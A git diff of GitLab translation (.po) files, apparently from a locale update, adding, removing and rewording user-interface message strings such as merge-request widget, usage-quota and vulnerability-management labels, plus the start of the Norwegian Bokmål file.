@@ -35924,6 +36537,9 @@ msgstr ""
msgid "To use the additional formats, you must start the required %{container_link_start}companion containers%{container_link_end}."
msgstr ""
+msgid "To use the system's default, set this value to 0."
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
@@ -36029,10 +36645,10 @@ msgstr ""
msgid "Too many changes to show."
msgstr ""
-msgid "Too many namespaces enabled. You will need to manage them via the console or the API."
+msgid "Too many namespaces enabled. Manage them through the console or the API."
msgstr ""
-msgid "Too many projects enabled. You will need to manage them via the console or the API."
+msgid "Too many projects enabled. Manage them through the console or the API."
msgstr ""
msgid "TopNav|Go back"
@@ -36053,9 +36669,6 @@ msgstr ""
msgid "Topics"
msgstr ""
-msgid "Topics (optional)"
-msgstr ""
-
msgid "Total"
msgstr ""
@@ -36116,6 +36729,9 @@ msgstr ""
msgid "Track your GitLab projects with GitLab for Slack."
msgstr ""
+msgid "Training mode"
+msgstr ""
+
msgid "Transfer"
msgstr ""
@@ -36286,7 +36902,7 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
-msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgid "Trigger cluster reindexing. Only use this with an index that was created in GitLab 13.0 or later."
msgstr ""
msgid "Trigger manual job"
@@ -36343,6 +36959,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
+msgid "Try out GitLab Pipelines"
+msgstr ""
+
+msgid "Try the troubleshooting steps here."
+msgstr ""
+
msgid "Try to fork again"
msgstr ""
@@ -36541,9 +37163,6 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
-msgid "Unable to save cadence. Please try again"
-msgstr ""
-
msgid "Unable to save iteration. Please try again"
msgstr ""
@@ -36649,6 +37268,9 @@ msgstr ""
msgid "Unknown response text"
msgstr ""
+msgid "Unknown screen"
+msgstr ""
+
msgid "Unknown user"
msgstr ""
@@ -36733,9 +37355,6 @@ msgstr ""
msgid "Unsupported todo type passed. Supported todo types are: %{todo_types}"
msgstr ""
-msgid "Until"
-msgstr ""
-
msgid "Until revoked, expired personal access tokens pose a security risk."
msgstr ""
@@ -36844,6 +37463,9 @@ msgstr ""
msgid "Updating"
msgstr ""
+msgid "Updating the attention request for %{username} failed."
+msgstr ""
+
msgid "Updating…"
msgstr ""
@@ -36886,6 +37508,9 @@ msgstr ""
msgid "Upload license"
msgstr ""
+msgid "Upload new file"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -36895,9 +37520,6 @@ msgstr ""
msgid "Uploading changes to terminal"
msgstr ""
-msgid "Uploads"
-msgstr ""
-
msgid "Upon performing this action, the contents of this group, its subgroup and projects will be permanently deleted after %{deletion_adjourned_period} days on %{date}. Until that time:"
msgstr ""
@@ -36910,9 +37532,6 @@ msgstr ""
msgid "Upvotes"
msgstr ""
-msgid "Usage"
-msgstr ""
-
msgid "Usage Trends"
msgstr ""
@@ -36967,12 +37586,6 @@ msgstr ""
msgid "UsageQuota|Increase storage temporarily"
msgstr ""
-msgid "UsageQuota|LFS Objects"
-msgstr ""
-
-msgid "UsageQuota|LFS Storage"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
@@ -36982,9 +37595,15 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|No CI minutes usage data available."
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
+msgid "UsageQuota|Pending Members"
+msgstr ""
+
msgid "UsageQuota|Pipeline artifacts and job artifacts, created with CI/CD."
msgstr ""
@@ -36997,9 +37616,6 @@ msgstr ""
msgid "UsageQuota|Purchased storage available"
msgstr ""
-msgid "UsageQuota|Repositories"
-msgstr ""
-
msgid "UsageQuota|Repository"
msgstr ""
@@ -37033,18 +37649,6 @@ msgstr ""
msgid "UsageQuota|This namespace has no projects which use shared runners"
msgstr ""
-msgid "UsageQuota|This project is at risk of being locked because purchased storage is running low."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it is using %{actualRepositorySizeLimit} of free storage and there is no purchased storage available."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it used %{actualRepositorySizeLimit} of free storage and all the purchased storage."
-msgstr ""
-
-msgid "UsageQuota|This project is near the free %{actualRepositorySizeLimit} limit and at risk of being locked."
-msgstr ""
-
msgid "UsageQuota|Total excess storage used"
msgstr ""
@@ -37090,9 +37694,6 @@ msgstr ""
msgid "UsageQuota|Wiki content."
msgstr ""
-msgid "UsageQuota|Wikis"
-msgstr ""
-
msgid "UsageQuota|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{actualRepositorySizeLimit} limit."
msgstr ""
@@ -37285,9 +37886,6 @@ msgstr ""
msgid "Used programming language"
msgstr ""
-msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
-msgstr ""
-
msgid "Used to help configure your identity provider"
msgstr ""
@@ -37591,9 +38189,6 @@ msgstr ""
msgid "Username"
msgstr ""
-msgid "Username (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Username (optional)"
msgstr ""
@@ -37819,6 +38414,18 @@ msgstr ""
msgid "Verification status"
msgstr ""
+msgid "VerificationReminder|Pipeline failing? To keep GitLab spam and abuse free we ask that you verify your identity with a valid payment method."
+msgstr ""
+
+msgid "VerificationReminder|Until then, free pipeline minutes on shared runners are unavailable. %{validateLinkStart}Validate your account%{validateLinkEnd} or %{docsLinkStart}use your own runners%{docsLinkEnd}."
+msgstr ""
+
+msgid "VerificationReminder|Your account has been validated."
+msgstr ""
+
+msgid "VerificationReminder|You’ll now be able to take advantage of free pipeline minutes on shared runners."
+msgstr ""
+
msgid "Verified"
msgstr ""
@@ -37843,6 +38450,9 @@ msgstr ""
msgid "View Documentation"
msgstr ""
+msgid "View Stage: %{title}"
+msgstr ""
+
msgid "View alert details at"
msgstr ""
@@ -37940,6 +38550,9 @@ msgstr ""
msgid "View merge request"
msgstr ""
+msgid "View milestones"
+msgstr ""
+
msgid "View on %{url}"
msgstr ""
@@ -38050,6 +38663,9 @@ msgstr ""
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
+msgid "Vulnerability report"
+msgstr ""
+
msgid "Vulnerability resolved in %{branch}"
msgstr ""
@@ -38062,9 +38678,6 @@ msgstr ""
msgid "VulnerabilityChart|Severity"
msgstr ""
-msgid "VulnerabilityManagement, Fetching linked Jira issues"
-msgstr ""
-
msgid "VulnerabilityManagement|%{statusStart}Confirmed%{statusEnd} %{timeago} by %{user}"
msgstr ""
@@ -38080,6 +38693,9 @@ msgstr ""
msgid "VulnerabilityManagement|A true-positive and will fix"
msgstr ""
+msgid "VulnerabilityManagement|Add vulnerability finding"
+msgstr ""
+
msgid "VulnerabilityManagement|Change status"
msgstr ""
@@ -38089,7 +38705,10 @@ msgstr ""
msgid "VulnerabilityManagement|Create Jira issue"
msgstr ""
-msgid "VulnerabilityManagement|Detected"
+msgid "VulnerabilityManagement|Fetching linked Jira issues"
+msgstr ""
+
+msgid "VulnerabilityManagement|Manually add a vulnerability entry into the vulnerability report."
msgstr ""
msgid "VulnerabilityManagement|Needs triage"
@@ -38101,6 +38720,9 @@ msgstr ""
msgid "VulnerabilityManagement|Related Jira issues"
msgstr ""
+msgid "VulnerabilityManagement|Requires assessment"
+msgstr ""
+
msgid "VulnerabilityManagement|Something went wrong while trying to delete the comment. Please try again later."
msgstr ""
@@ -38125,9 +38747,15 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong, could not update vulnerability state."
msgstr ""
+msgid "VulnerabilityManagement|Summary, detailed description, steps to reproduce, etc."
+msgstr ""
+
msgid "VulnerabilityManagement|Verified as fixed or mitigated"
msgstr ""
+msgid "VulnerabilityManagement|Vulnerability name or type. Ex: Cross-site scripting"
+msgstr ""
+
msgid "VulnerabilityManagement|Will not fix or a false-positive"
msgstr ""
@@ -38140,10 +38768,10 @@ msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Detected"
+msgid "VulnerabilityStatusTypes|Dismissed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Dismissed"
+msgid "VulnerabilityStatusTypes|Needs triage"
msgstr ""
msgid "VulnerabilityStatusTypes|Resolved"
@@ -38317,7 +38945,7 @@ msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
-msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgid "We invite you to %{featureLinkStart}request a feature%{featureLinkEnd}, %{bugLinkStart}report a bug%{bugLinkEnd} or %{feedbackLinkStart}share feedback%{feedbackLinkEnd}"
msgstr ""
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
@@ -38623,6 +39251,9 @@ msgstr ""
msgid "When a runner is locked, it cannot be assigned to other projects"
msgstr ""
+msgid "When enabled, SSH keys with no expiry date or an invalid expiration date are no longer accepted. Leave blank for no limit."
+msgstr ""
+
msgid "When enabled, existing personal access tokens may be revoked. Leave blank for no limit."
msgstr ""
@@ -38635,7 +39266,7 @@ msgstr ""
msgid "When merge requests and commits in the default branch close, any issues they reference also close."
msgstr ""
-msgid "When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgid "When paused, GitLab still tracks the changes. This is useful for cluster/index migrations."
msgstr ""
msgid "When this merge request is accepted"
@@ -38808,6 +39439,12 @@ msgstr ""
msgid "WikiPage|Create page"
msgstr ""
+msgid "WikiPage|Edit rich text"
+msgstr ""
+
+msgid "WikiPage|Edit source"
+msgstr ""
+
msgid "WikiPage|Format"
msgstr ""
@@ -38817,7 +39454,7 @@ msgstr ""
msgid "WikiPage|Keep editing"
msgstr ""
-msgid "WikiPage|More Information."
+msgid "WikiPage|Learn more."
msgstr ""
msgid "WikiPage|Page title"
@@ -38931,6 +39568,9 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "Work in progress- click here to find out more"
+msgstr ""
+
msgid "WorkItem|Work Items"
msgstr ""
@@ -39204,13 +39844,10 @@ msgstr ""
msgid "You can only %{action} files when you are on a branch"
msgstr ""
-msgid "You can only edit files when you are on a branch"
+msgid "You can only add up to %{max_contacts} contacts at one time"
msgstr ""
-msgid "You can only merge once the items above are resolved."
-msgstr ""
-
-msgid "You can only merge once this merge request is approved."
+msgid "You can only edit files when you are on a branch"
msgstr ""
msgid "You can only transfer the project to namespaces you manage."
@@ -39246,6 +39883,9 @@ msgstr ""
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
+msgid "You cannot combine replace_ids with add_ids or remove_ids"
+msgstr ""
+
msgid "You cannot impersonate a blocked user"
msgstr ""
@@ -39276,12 +39916,18 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
+msgid "You do not have any Google Cloud projects. Please create a Google Cloud project and then reload this page."
+msgstr ""
+
msgid "You do not have any subscriptions yet"
msgstr ""
msgid "You do not have permission to access dora metrics."
msgstr ""
+msgid "You do not have permission to approve a member"
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -39333,6 +39979,11 @@ msgstr ""
msgid "You don’t have access to Value Stream Analytics for this group"
msgstr ""
+msgid "You have %{pendingMembersCount} pending member that needs approval."
+msgid_plural "You have %{pendingMembersCount} pending members that need approval."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -39381,6 +40032,9 @@ msgstr ""
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
+msgid "You have insufficient permissions to set customer relations contacts for this issue"
+msgstr ""
+
msgid "You have insufficient permissions to update an on-call schedule for this project"
msgstr ""
@@ -39516,9 +40170,6 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
@@ -39603,7 +40254,7 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. Use it to view how you compare with other organizations."
+msgid "Your DevOps Reports give an overview of how you are using GitLab from a feature perspective. Use them to view how you compare with other organizations, and how your teams compare against each other."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -39669,6 +40320,12 @@ msgstr ""
msgid "Your account has been deactivated. You will not be able to: "
msgstr ""
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_password_link_start}set a password%{link_end} or %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
msgid "Your account is locked."
msgstr ""
@@ -39861,6 +40518,9 @@ msgstr ""
msgid "Your sign-in page is %{url}."
msgstr ""
+msgid "Your snippets"
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -39875,15 +40535,9 @@ msgstr ""
msgid "ZenTaoIntegration|Failed to load ZenTao issue. View the issue in ZenTao, or reload the page."
msgstr ""
-msgid "ZenTaoIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}ZenTao%{linkEnd}."
-msgstr ""
-
msgid "ZenTaoIntegration|This is a ZenTao user."
msgstr ""
-msgid "ZenTaoIntegration|This issue is synchronized with ZenTao"
-msgstr ""
-
msgid "ZenTaoIntegration|ZenTao user"
msgstr ""
@@ -39893,6 +40547,9 @@ msgstr ""
msgid "ZentaoIntegration|Base URL of the ZenTao instance."
msgstr ""
+msgid "ZentaoIntegration|Before you enable this integration, you must configure ZenTao. For more details, read the %{link_start}ZenTao integration documentation%{link_end}."
+msgstr ""
+
msgid "ZentaoIntegration|Enter new ZenTao API token"
msgstr ""
@@ -39958,9 +40615,6 @@ msgstr ""
msgid "added"
msgstr ""
-msgid "added %{created_at_timeago}"
-msgstr ""
-
msgid "added %{emails}"
msgstr ""
@@ -40056,6 +40710,9 @@ msgstr ""
msgid "can't be nil"
msgstr ""
+msgid "can't be solely blank"
+msgstr ""
+
msgid "can't be the same as the source project"
msgstr ""
@@ -40089,9 +40746,6 @@ msgstr ""
msgid "cannot be enabled until a valid credit card is on file"
msgstr ""
-msgid "cannot be modified"
-msgstr ""
-
msgid "cannot be used for user namespace"
msgstr ""
@@ -40262,6 +40916,9 @@ msgstr ""
msgid "ciReport|Failed to load %{reportName} report"
msgstr ""
+msgid "ciReport|Failed to load Code Quality report"
+msgstr ""
+
msgid "ciReport|Fixed"
msgstr ""
@@ -40271,6 +40928,9 @@ msgstr ""
msgid "ciReport|Found %{issuesWithCount}"
msgstr ""
+msgid "ciReport|IaC Scanning"
+msgstr ""
+
msgid "ciReport|Investigate this vulnerability by creating an issue"
msgstr ""
@@ -40294,6 +40954,9 @@ msgstr ""
msgid "ciReport|Loading %{reportName} report"
msgstr ""
+msgid "ciReport|Loading Code Quality report"
+msgstr ""
+
msgid "ciReport|Manage licenses"
msgstr ""
@@ -40330,6 +40993,9 @@ msgstr ""
msgid "ciReport|Security scanning failed loading any results"
msgstr ""
+msgid "ciReport|Showing %{fetchedItems} of %{totalItems} items"
+msgstr ""
+
msgid "ciReport|Solution"
msgstr ""
@@ -40700,21 +41366,9 @@ msgstr ""
msgid "in"
msgstr ""
-msgid "in Infrastructure :: Kubernetes clusters"
-msgstr ""
-
-msgid "in all GitLab"
-msgstr ""
-
-msgid "in group"
-msgstr ""
-
msgid "in group %{link_to_group}"
msgstr ""
-msgid "in project"
-msgstr ""
-
msgid "in project %{link_to_project}"
msgstr ""
@@ -40867,9 +41521,6 @@ msgstr ""
msgid "log in"
msgstr ""
-msgid "managed"
-msgstr ""
-
msgid "manual"
msgstr ""
@@ -40899,13 +41550,13 @@ msgstr ""
msgid "most recent deployment"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} and %{mergeCommitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} and %{mergeCommitCount} to %{targetBranch}%{squashedCommits}."
msgstr ""
-msgid "mrWidgetCommitsAdded|1 merge commit"
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} to %{targetBranch}."
msgstr ""
msgid "mrWidgetNothingToMerge|This merge request contains no changes."
@@ -40917,6 +41568,9 @@ msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
msgstr ""
+msgid "mrWidget|%{boldHeaderStart}Looks like there's no pipeline here.%{boldHeaderEnd}"
+msgstr ""
+
msgid "mrWidget|%{linkStart}Set up now%{linkEnd} to analyze your source code for known security vulnerabilities."
msgstr ""
@@ -40935,9 +41589,6 @@ msgstr ""
msgid "mrWidget|%{metricsLinkStart} Memory %{metricsLinkEnd} usage is %{emphasisStart} unchanged %{emphasisEnd} at %{memoryFrom}MB"
msgstr ""
-msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
-msgstr ""
-
msgid "mrWidget|A merge train is a queued list of merge requests waiting to be merged into the target branch. The changes in each merge request are combined with the changes in earlier merge requests and tested before merge."
msgstr ""
@@ -40980,9 +41631,6 @@ msgstr ""
msgid "mrWidget|Approved by you and others"
msgstr ""
-msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
-msgstr ""
-
msgid "mrWidget|Cancel auto-merge"
msgstr ""
@@ -41015,6 +41663,9 @@ msgstr ""
msgid "mrWidget|Delete source branch"
msgstr ""
+msgid "mrWidget|Deletes the source branch"
+msgstr ""
+
msgid "mrWidget|Deployment statistics are not available currently"
msgstr ""
@@ -41024,12 +41675,18 @@ msgstr ""
msgid "mrWidget|Dismiss"
msgstr ""
+msgid "mrWidget|Does not delete the source branch"
+msgstr ""
+
msgid "mrWidget|Email patches"
msgstr ""
msgid "mrWidget|Failed to load deployment statistics"
msgstr ""
+msgid "mrWidget|GitLab %{linkStart}CI/CD can automatically build, test, and deploy your application.%{linkEnd} It only takes a few minutes to get started, and we can help you create a pipeline configuration file."
+msgstr ""
+
msgid "mrWidget|Hide %{widget} details"
msgstr ""
@@ -41065,21 +41722,36 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: denied licenses must be removed."
+msgstr ""
+
msgid "mrWidget|Merge blocked: fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
+msgid "mrWidget|Merge blocked: merge conflicts must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
msgstr ""
+msgid "mrWidget|Merge blocked: this merge request must be approved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
msgid "mrWidget|Merge locally"
msgstr ""
+msgid "mrWidget|Merge unavailable: merge requests are read-only on archived projects."
+msgstr ""
+
msgid "mrWidget|Merged by"
msgstr ""
+msgid "mrWidget|Merges changes into"
+msgstr ""
+
msgid "mrWidget|Merging! Changes are being shipped…"
msgstr ""
@@ -41092,6 +41764,15 @@ msgstr ""
msgid "mrWidget|Merging! Everything's good…"
msgstr ""
+msgid "mrWidget|Merging! Lift-off in 5… 4… 3…"
+msgstr ""
+
+msgid "mrWidget|Merging! Take a deep breath and relax…"
+msgstr ""
+
+msgid "mrWidget|Merging! The changes are leaving the station…"
+msgstr ""
+
msgid "mrWidget|Merging! This is going to be great…"
msgstr ""
@@ -41131,9 +41812,6 @@ msgstr ""
msgid "mrWidget|Resolve conflicts"
msgstr ""
-msgid "mrWidget|Resolve these conflicts or ask someone with write access to this repository to merge it locally"
-msgstr ""
-
msgid "mrWidget|Revert"
msgstr ""
@@ -41164,9 +41842,6 @@ msgstr ""
msgid "mrWidget|The changes were not merged into"
msgstr ""
-msgid "mrWidget|The changes will be merged into"
-msgstr ""
-
msgid "mrWidget|The pipeline for this merge request did not complete. Push a new commit to fix the failure, or check the %{linkStart}troubleshooting documentation%{linkEnd} to see other possible actions."
msgstr ""
@@ -41182,39 +41857,30 @@ msgstr ""
msgid "mrWidget|The source branch is being deleted"
msgstr ""
-msgid "mrWidget|The source branch will be deleted"
-msgstr ""
-
-msgid "mrWidget|The source branch will not be deleted"
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|There are merge conflicts"
+msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|To change these default messages, edit the templates for both the merge and squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|This project is archived, write access has been disabled"
+msgid "mrWidget|To change this default message, edit the template for merge commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
+msgid "mrWidget|To change this default message, edit the template for squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "mrWidget|To merge, a Jira issue key must be mentioned in the title or description."
msgstr ""
-msgid "mrWidget|Use %{linkStart}CI pipelines to test your code%{linkEnd} by simply adding a GitLab CI configuration file to your project. It only takes a minute to make your code more secure and robust."
+msgid "mrWidget|Users who can write to the source or target branches can resolve the conflicts."
msgstr ""
msgid "mrWidget|What is a merge train?"
msgstr ""
-msgid "mrWidget|You can merge after removing denied licenses"
-msgstr ""
-
-msgid "mrWidget|You can only merge once this merge request is approved."
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
@@ -41375,6 +42041,18 @@ msgstr ""
msgid "pipeline schedules documentation"
msgstr ""
+msgid "pipelineEditorWalkthrough|Let's do this!"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|See how GitLab pipelines work"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|This %{codeStart}.gitlab-ci.yml%{codeEnd} file creates a simple test pipeline."
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|Use the %{boldStart}commit changes%{boldEnd} button at the bottom of the page to run the pipeline."
+msgstr ""
+
msgid "pod_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -41555,9 +42233,6 @@ msgstr ""
msgid "smartcn custom analyzer"
msgstr ""
-msgid "sort:"
-msgstr ""
-
msgid "source"
msgstr ""
@@ -41582,6 +42257,9 @@ msgstr ""
msgid "starts on %{timebox_start_date}"
msgstr ""
+msgid "structure is too large"
+msgstr ""
+
msgid "stuck"
msgstr ""
diff --git a/locale/nb_NO/gitlab.po b/locale/nb_NO/gitlab.po
index d1a1d649bc6..fd88c15a78d 100644
--- a/locale/nb_NO/gitlab.po
+++ b/locale/nb_NO/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: nb\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-11-02 00:42\n"
+"PO-Revision-Date: 2021-12-06 19:00\n"
msgid " %{start} to %{end}"
msgstr " %{start} til %{end}"
@@ -70,9 +70,6 @@ msgstr "\"%{path}\" finness ikke på \"%{ref}\""
msgid "\"%{repository_name}\" size (%{repository_size}) is larger than the limit of %{limit}."
msgstr "«%{repository_name}» sin størrelse (%{repository_size}) er større enn grensen på %{limit}."
-msgid "\"el\" parameter is required for createInstance()"
-msgstr "\"el\"-parameteret er påkrevd for createInstance()"
-
msgid "#%{issueIid} (closed)"
msgstr ""
@@ -239,6 +236,11 @@ msgid_plural "%d fixed test results"
msgstr[0] "%d fikset testresultat"
msgstr[1] "%d fiksede testresultater"
+msgid "%d fork"
+msgid_plural "%d forks"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d group"
msgid_plural "%d groups"
msgstr[0] "%d gruppe"
@@ -289,6 +291,11 @@ msgid_plural "%d merge requests that you don't have access to."
msgstr[0] "%d fletteforespørsel som du ikke har tilgang til."
msgstr[1] "%d fletteforespørsler som du ikke har tilgang til."
+msgid "%d merge requests"
+msgid_plural "%d merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d metric"
msgid_plural "%d metrics"
msgstr[0] "%d måltall"
@@ -354,6 +361,11 @@ msgid_plural "%d shards selected"
msgstr[0] "%d skår valgt"
msgstr[1] "%d skår valgt"
+msgid "%d star"
+msgid_plural "%d stars"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d tag"
msgid_plural "%d tags"
msgstr[0] "%d etikett"
@@ -407,6 +419,12 @@ msgstr[1] "%s ekstra commiter er utelatt for å forhindre ytelsesproblemer."
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr "%{actionText} og %{openOrClose} %{noteable}"
+msgid "%{actionText} & close %{noteable}"
+msgstr ""
+
+msgid "%{actionText} & reopen %{noteable}"
+msgstr ""
+
msgid "%{address} is an invalid IP address range"
msgstr "%{address} er et ugyldig IP-adresseområde"
@@ -483,6 +501,11 @@ msgstr[1] "Det kreves %{count} godkjenner fra %{name}"
msgid "%{count} approvals from %{name}"
msgstr "%{count} godkjennelser fra %{name}"
+msgid "%{count} contact"
+msgid_plural "%{count} contacts"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{count} files touched"
msgstr "%{count} filer berørt"
@@ -705,7 +728,7 @@ msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request draft from merging before it's ready."
msgstr ""
msgid "%{link_start}What information does GitLab Inc. collect?%{link_end}"
@@ -759,6 +782,9 @@ msgstr "%{name} fant %{resultsString}"
msgid "%{name} is already being used for another emoji"
msgstr "%{name} brukes allerede for en annen emoji"
+msgid "%{name} is reserved for %{type} report type"
+msgstr ""
+
msgid "%{name} is scheduled for %{action}"
msgstr "%{name} er planlagt for %{action}"
@@ -791,9 +817,6 @@ msgstr "%{oneWeekAgo} - %{today}"
msgid "%{oneYearAgo} - %{today}"
msgstr "%{oneYearAgo} - %{today}"
-msgid "%{openOrClose} %{noteable}"
-msgstr "%{openOrClose} %{noteable}"
-
msgid "%{openedEpics} open, %{closedEpics} closed"
msgstr "%{openedEpics} åpne, %{closedEpics} lukket"
@@ -818,6 +841,9 @@ msgstr "%{placeholder} er ikke et gyldig tema"
msgid "%{primary} (%{secondary})"
msgstr "%{primary} (%{secondary})"
+msgid "%{project_path} is a project that you can use to add a README to your GitLab profile. Create a public project and initialize the repository with a README to get started. %{help_link_start}Learn more.%{help_link_end}"
+msgstr ""
+
msgid "%{ref} cannot be added: %{error}"
msgstr "%{ref} kan ikke bli lagt til: %{error}"
@@ -850,6 +876,9 @@ msgstr ""
msgid "%{scope} results for term '%{term}'"
msgstr ""
+msgid "%{search} %{description} %{scope}"
+msgstr ""
+
msgid "%{seconds}s"
msgstr "%{seconds}s"
@@ -896,9 +925,6 @@ msgstr "%{spanStart}i%{spanEnd} %{errorFn}"
msgid "%{start} to %{end}"
msgstr "%{start} til %{end}"
-msgid "%{state} epics"
-msgstr "%{state} eposer"
-
msgid "%{strongOpen}Warning:%{strongClose} SAML group links can cause GitLab to automatically remove members from groups."
msgstr ""
@@ -997,6 +1023,9 @@ msgstr "%{total} åpen saksvektlegging"
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr "%{total} advarsler funnet: viser første %{warningsDisplayed}"
+msgid "%{type} only supports %{name} name"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr "%{userName} (kan ikke flette)"
@@ -1128,6 +1157,11 @@ msgstr "(fjernet)"
msgid "(revoked)"
msgstr "(tilbakekalt)"
+msgid "(squashes %d commit)"
+msgid_plural "(squashes %d commits)"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "(this user)"
msgstr ""
@@ -1137,6 +1171,9 @@ msgstr ""
msgid "* All times are in UTC unless specified"
msgstr ""
+msgid "*Required"
+msgstr ""
+
msgid "+ %{amount} more"
msgstr "+ %{amount} til"
@@ -1175,6 +1212,9 @@ msgstr "+%{more_reviewers_count} flere anmeldere"
msgid "+%{tags} more"
msgstr "+%{tags} til"
+msgid ", and "
+msgstr ""
+
msgid ", or "
msgstr ", eller "
@@ -1480,9 +1520,6 @@ msgstr "En ny utgivelse %{tag} for %{name} ble publisert. Besøk %{release_link_
msgid "A new Release %{tag} for %{name} was published. Visit the Releases page to read more about it:"
msgstr "En ny utgivelse %{tag} for %{name} ble publisert. Besøk 'Utgivelser'-siden for å lese mer om den:"
-msgid "A new branch will be created in your fork and a new merge request will be started."
-msgstr "En ny gren vil bli opprettet i din utgreining, og en ny fletteforespørsel vil bli påbegynt."
-
msgid "A new impersonation token has been created."
msgstr ""
@@ -1519,9 +1556,6 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
-msgid "A string appended to the project path to form the Service Desk email address."
-msgstr ""
-
msgid "A title is required"
msgstr "En tittel er påkrevd"
